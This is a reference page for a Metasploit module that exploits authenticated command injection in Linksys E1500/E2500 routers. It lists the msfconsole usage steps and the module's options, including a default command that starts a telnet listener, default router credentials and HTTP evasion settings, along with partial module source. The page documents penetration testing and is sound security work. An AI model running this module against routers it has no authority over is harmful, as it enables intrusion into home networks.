Linksys E1500/E2500 Remote Command Execution - Metasploit


This page contains detailed information about how to use the auxiliary/admin/http/linksys_e1500_e2500_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: Linksys E1500/E2500 Remote Command Execution
Module: auxiliary/admin/http/linksys_e1500_e2500_exec
Source code: modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb
Disclosure date: 2013-02-05
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -

Some Linksys Routers are vulnerable to an authenticated OS command injection. Default credentials for the web interface are admin/admin or admin/password. Since it is a blind os command injection vulnerability, there is no output for the executed command. A ping command against a controlled system for can be used for testing purposes.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/admin/http/linksys_e1500_e2500_exec
msf auxiliary(linksys_e1500_e2500_exec) > show targets
    ... a list of targets ...
msf auxiliary(linksys_e1500_e2500_exec) > set TARGET target-id
msf auxiliary(linksys_e1500_e2500_exec) > show options
    ... show and set options ...
msf auxiliary(linksys_e1500_e2500_exec) > exploit

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

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Msfconsole Usage

Here is how the admin/http/linksys_e1500_e2500_exec auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/http/linksys_e1500_e2500_exec

msf6 auxiliary(admin/http/linksys_e1500_e2500_exec) > show info

       Name: Linksys E1500/E2500 Remote Command Execution
     Module: auxiliary/admin/http/linksys_e1500_e2500_exec
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-02-05

Provided by:
  Michael Messner <[email protected]>

Check supported:
  No

Basic options:
  Name          Current Setting  Required  Description
  ----          ---------------  --------  -----------
  CMD           telnetd -p 1337  yes       The command to execute
  HttpPassword  password         yes       Password to login with
  HttpUsername  admin            yes       User to login with
  Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                         yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT         80               yes       The target port (TCP)
  SSL           false            no        Negotiate SSL/TLS for outgoing connections
  VHOST                          no        HTTP server virtual host

Description:
  Some Linksys Routers are vulnerable to an authenticated OS command 
  injection. Default credentials for the web interface are admin/admin 
  or admin/password. Since it is a blind os command injection 
  vulnerability, there is no output for the executed command. A ping 
  command against a controlled system for can be used for testing 
  purposes.

References:
  OSVDB (89912)
  http://www.securityfocus.com/bid/57760
  https://www.exploit-db.com/exploits/24475
  http://www.s3cur1ty.de/m1adv2013-004

Module Options

This is a complete list of options available in the admin/http/linksys_e1500_e2500_exec auxiliary module:

msf6 auxiliary(admin/http/linksys_e1500_e2500_exec) > show options

Module options (auxiliary/admin/http/linksys_e1500_e2500_exec):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   CMD           telnetd -p 1337  yes       The command to execute
   HttpPassword  password         yes       Password to login with
   HttpUsername  admin            yes       User to login with
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                         yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT         80               yes       The target port (TCP)
   SSL           false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                          no        HTTP server virtual host

Advanced Options

Here is a complete list of advanced options supported by the admin/http/linksys_e1500_e2500_exec auxiliary module:

msf6 auxiliary(admin/http/linksys_e1500_e2500_exec) > show advanced

Module advanced options (auxiliary/admin/http/linksys_e1500_e2500_exec):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the admin/http/linksys_e1500_e2500_exec module can do:

msf6 auxiliary(admin/http/linksys_e1500_e2500_exec) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the admin/http/linksys_e1500_e2500_exec auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/http/linksys_e1500_e2500_exec) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<RHOST>:<RPORT> - No successful login possible with <USER>/<PASS>

Here is a relevant code snippet related to the "<RHOST>:<RPORT> - No successful login possible with <USER>/<PASS>" error message:

53:	      return if (res.code == 404)
54:	
55:	      if [200, 301, 302].include?(res.code)
56:	        print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
57:	      else
58:	        print_error("#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
59:	        return
60:	      end
61:	
62:	    rescue ::Rex::ConnectionError
63:	      vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")

<RHOST>:<RPORT> - Failed to connect to the web server

Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Failed to connect to the web server" error message:

58:	        print_error("#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
59:	        return
60:	      end
61:	
62:	    rescue ::Rex::ConnectionError
63:	      vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
64:	      return
65:	    end
66:	
67:	    print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD'])
68:

<RHOST>:<RPORT> - Failed to connect to the web server

Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Failed to connect to the web server" error message:

88:	          "ping_times" => "5",
89:	          "traceroute_ip" => ""
90:	        }
91:	      })
92:	    rescue ::Rex::ConnectionError
93:	      vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
94:	      return
95:	    end
96:	    print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
97:	    print_status("#{rhost}:#{rport} - Blind Exploitation - wait around 10 seconds till the command gets executed")
98:	  end

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References

See Also

Check also the following modules related to this module:

Authors

  • Michael Messner <devnull[at]s3cur1ty.de>

Version

This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.

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